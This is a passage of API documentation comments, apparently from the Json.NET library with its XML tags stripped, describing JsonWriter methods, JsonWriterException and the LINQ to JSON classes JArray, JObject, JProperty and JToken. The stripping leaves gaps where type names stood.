asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously ets the state of the . - - The being written. - The value being written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Gets or sets a value indicating whether the destination should be closed when this writer is closed. - - - true to close the destination when this writer is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. - - - true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. - - - - - Gets the top. - - The top. - - - - Gets the state of the writer. - - - - - Gets the path of the writer. - - - - - Gets or sets a value indicating how JSON text output should be formatted. - - - - - Gets or sets how dates are written to JSON text. - - - - - Gets or sets how time zones are handled when writing JSON text. - - - - - Gets or sets how strings are escaped when writing JSON text. - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written to JSON text. - - - - - Gets or sets how and values are formatted when writing JSON text. - - - - - Gets or sets the culture used when writing JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the destination and also flushes the destination. - - - - - Closes this writer. - If is set to true, the destination is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the end of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the end of an array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end constructor. - - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes the end of the current JSON object or array. - - - - - Writes the current token and its children. - - The to read the token from. - - - - Writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - - - - Writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - - - - Writes the token. - - The to write. - - - - Writes the specified end token. - - The end token to write. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON without changing the writer's state. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Sets the state of the . - - The being written. - The value being written. - - - - The exception thrown when an error occurs while writing JSON text. - - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - Initializes a new instance of the class - with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The path to the JSON where the error occurred. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Specifies how JSON comments are handled when loading JSON. - - - - - Ignore comments. - - - - - Load comments as a with type . - - - - - Specifies how duplicate property names are handled when loading JSON. - - - - - Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. - - - - - Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. - - - - - Throw a when a duplicate property is encountered. - - - - - Contains the LINQ to JSON extension methods. - - - - - Returns a collection of tokens that contains the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, the ancestors of every token in the source collection. - - - - Returns a collection of tokens that contains the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains the descendants of every token in the source collection. - - - - Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. - - The type of the objects in source, constrained to . - An of that contains the source collection. - An of that contains every token in the source collection, and the descendants of every token in the source collection. - - - - Returns a collection of child properties of every object in the source collection. - - An of that contains the source collection. - An of that contains the properties of every object in the source collection. - - - - Returns a collection of child values of every object in the source collection with the given key. - - An of that contains the source collection. - The token key. - An of that contains the values of every token in the source collection with the given key. - - - - Returns a collection of child values of every object in the source collection. - - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child values of every object in the source collection with the given key. - - The type to convert the values to. - An of that contains the source collection. - The token key. - An that contains the converted values of every token in the source collection with the given key. - - - - Returns a collection of converted child values of every object in the source collection. - - The type to convert the values to. - An of that contains the source collection. - An that contains the converted values of every token in the source collection. - - - - Converts the value. - - The type to convert the value to. - A cast as a of . - A converted value. - - - - Converts the value. - - The source collection type. - The type to convert the value to. - A cast as a of . - A converted value. - - - - Returns a collection of child tokens of every array in the source collection. - - The source collection type. - An of that contains the source collection. - An of that contains the values of every token in the source collection. - - - - Returns a collection of converted child tokens of every array in the source collection. - - An of that contains the source collection. - The type to convert the values to. - The source collection type. - An that contains the converted values of every token in the source collection. - - - - Returns the input typed as . - - An of that contains the source collection. - The input typed as . - - - - Returns the input typed as . - - The source collection type. - An of that contains the source collection. - The input typed as . - - - - Represents a collection of objects. - - The type of token. - - - - Gets the of with the specified key. - - - - - - Represents a JSON array. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous load. The property contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Initializes a new instance of the class with the specified content. - - The contents of the array. - - - - Loads an from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads an from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the at the specified index. - - - - - - Determines the index of a specific item in the . - - The object to locate in the . - - The index of if found in the list; otherwise, -1. - - - - - Inserts an item to the at the specified index. - - The zero-based index at which should be inserted. - The object to insert into the . - - is not a valid index in the . - - - - - Removes the item at the specified index. - - The zero-based index of the item to remove. - - is not a valid index in the . - - - - - Returns an enumerator that iterates through the collection. - - - A of that can be used to iterate through the collection. - - - - - Adds an item to the . - - The object to add to the . - - - - Removes all items from the . - - - - - Determines whether the contains a specific value. - - The object to locate in the . - - true if is found in the ; otherwise, false. - - - - - Copies the elements of the to an array, starting at a particular array index. - - The array. - Index of the array. - - - - Gets a value indicating whether the is read-only. - - true if the is read-only; otherwise, false. - - - - Removes the first occurrence of a specific object from the . - - The object to remove from the . - - true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . - - - - - Represents a JSON constructor. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets or sets the name of this constructor. - - The constructor name. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name and content. - - The constructor name. - The contents of the constructor. - - - - Initializes a new instance of the class with the specified name. - - The constructor name. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified key. - - The with the specified key. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a token that can contain other tokens. - - - - - Occurs when the list changes or an item in the list changes. - - - - - Occurs before an item is added to the collection. - - - - - Occurs when the items list of the collection has changed, or the collection is reset. - - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Raises the event. - - The instance containing the event data. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Get the first child token of this token. - - - A containing the first child token of the . - - - - - Get the last child token of this token. - - - A containing the last child token of the . - - - - - Returns a collection of the child tokens of this token, in document order. - - - An of containing the child tokens of this , in document order. - - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - - A containing the child values of this , in document order. - - - - - Returns a collection of the descendant tokens for this token in document order. - - An of containing the descendant tokens of the . - - - - Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. - - An of containing this token, and all the descendant tokens of the . - - - - Adds the specified content as children of this . - - The content to be added. - - - - Adds the specified content as the first children of this . - - The content to be added. - - - - Creates a that can be used to add tokens to the . - - A that is ready to have content written to it. - - - - Replaces the child nodes of this token with the specified content. - - The content. - - - - Removes the child nodes from this token. - - - - - Merge the specified content into this . - - The content to be merged. - - - - Merge the specified content into this using . - - The content to be merged. - The used to merge the content. - - - - Gets the count of child JSON tokens. - - The count of child JSON tokens. - - - - Represents a collection of objects. - - The type of token. - - - - An empty collection of objects. - - - - - Initializes a new instance of the struct. - - The enumerable. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Gets the of with the specified key. - - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Determines whether the specified is equal to this instance. - - The to compare with this instance. - - true if the specified is equal to this instance; otherwise, false. - - - - - Returns a hash code for this instance. - - - A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. - - - - - Represents a JSON object. - - - - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous load. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Occurs when a property value changes. - - - - - Occurs when a property value is changing. - - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Initializes a new instance of the class with the specified content. - - The contents of the object. - - - - Gets the node type for this . - - The type. - - - - Gets an of of this object's properties. - - An of of this object's properties. - - - - Gets a with the specified name. - - The property name. - A with the specified name or null. - - - - Gets the with the specified name. - The exact name will be searched for first and if no matching property is found then - the will be used to match a property. - - The property name. - One of the enumeration values that specifies how the strings will be compared. - A matched with the specified name or null. - - - - Gets a of of this object's property values. - - A of of this object's property values. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets or sets the with the specified property name. - - - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - is not valid JSON. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - is not valid JSON. - - - - - - - - Creates a from an object. - - The object that will be used to create . - A with the values of the specified object. - - - - Creates a from an object. - - The object that will be used to create . - The that will be used to read the object. - A with the values of the specified object. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Gets the with the specified property name. - - Name of the property. - The with the specified property name. - - - - Gets the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - One of the enumeration values that specifies how the strings will be compared. - The with the specified property name. - - - - Tries to get the with the specified property name. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - Name of the property. - The value. - One of the enumeration values that specifies how the strings will be compared. - true if a value was successfully retrieved; otherwise, false. - - - - Adds the specified property name. - - Name of the property. - The value. - - - - Determines whether the JSON object has the specified property name. - - Name of the property. - true if the JSON object has the specified property name; otherwise, false. - - - - Removes the property with the specified name. - - Name of the property. - true if item was successfully removed; otherwise, false. - - - - Tries to get the with the specified property name. - - Name of the property. - The value. - true if a value was successfully retrieved; otherwise, false. - - - - Returns an enumerator that can be used to iterate through the collection. - - - A that can be used to iterate through the collection. - - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Raises the event with the provided arguments. - - Name of the property. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Represents a JSON property. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Asynchronously loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns a that contains the JSON that was read from the specified . - - - - Gets the container's children tokens. - - The container's children tokens. - - - - Gets the property name. - - The property name. - - - - Gets or sets the property value. - - The property value. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Gets the node type for this . - - The type. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Initializes a new instance of the class. - - The property name. - The property content. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Loads a from a . - - A that will be read for the content of the . - A that contains the JSON that was read from the specified . - - - - Loads a from a . - - A that will be read for the content of the . - The used to load the JSON. - If this is null, default load settings will be used. - A that contains the JSON that was read from the specified . - - - - Represents a view of a . - - - - - Initializes a new instance of the class. - - The name. - - - - When overridden in a derived class, returns whether resetting an object changes its value. - - - true if resetting the component changes its value; otherwise, false. - - The component to test for reset capability. - - - - When overridden in a derived class, gets the current value of the property on a component. - - - The value of a property for a given component. - - The component with the property for which to retrieve the value. - - - - When overridden in a derived class, resets the value for this property of the component to the default value. - - The component with the property value that is to be reset to the default value. - - - - When overridden in a derived class, sets the value of the component to a different value. - - The component with the property value that is to be set. - The new value. - - - - When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted. - - - true if the property should be persisted; otherwise, false. - - The component with the property to be examined for persistence. - - - - When overridden in a derived class, gets the type of the component this property is bound to. - - - A that represents the type of component this property is bound to. - When the or - - methods are invoked, the object specified might be an instance of this type. - - - - - When overridden in a derived class, gets a value indicating whether this property is read-only. - - - true if the property is read-only; otherwise, false. - - - - - When overridden in a derived class, gets the type of the property. - - - A that represents the type of the property. - - - - - Gets the hash code for the name of the member. - - - - The hash code for the name of the member. - - - - - Represents a raw JSON string. - - - - - Asynchronously creates an instance of with the content of the reader's current token. - - The reader. - The token to monitor for cancellation requests. The default value is . - A representing the asynchronous creation. The - property returns an instance of with the content of the reader's current token. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class. - - The raw json. - - - - Creates an instance of with the content of the reader's current token. - - The reader. - An instance of with the content of the reader's current token. - - - - Specifies the settings used when cloning JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets a flag that indicates whether to copy annotations when cloning a . - The default value is true. - - - A flag that indicates whether to copy annotations when cloning a . - - - - - Specifies the settings used when loading JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets how JSON comments are handled when loading JSON. - The default value is . - - The JSON comment handling. - - - - Gets or sets how JSON line info is handled when loading JSON. - The default value is . - - The JSON line info handling. - - - - Gets or sets how duplicate property names in JSON objects are handled when loading JSON. - The default value is . - - The JSON duplicate property name handling. - - - - Specifies the settings used when merging JSON. - - - - - Initializes a new instance of the class. - - - - - Gets or sets the method used when merging JSON arrays. - - The method used when merging JSON arrays. - - - - Gets or sets how null value properties are merged. - - How null value properties are merged. - - - - Gets or sets the comparison used to match property names while merging. - The exact property name will be searched for first and if no matching property is found then - the will be used to match a property. - - The comparison used to match property names while merging. - - - - Specifies the settings used when selecting JSON. - - - - - Gets or sets a timeout that will be used when executing regular expressions. - - The timeout that will be used when executing regular expressions. - - - - Gets or sets a flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - A flag that indicates whether an error should be thrown if - no tokens are found when evaluating part of the expression. - - - - - Represents an abstract JSON token. - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Writes this token to a asynchronously. - - A into which this method will write. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains - the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The token to monitor for cancellation requests. The default value is . - - A that represents 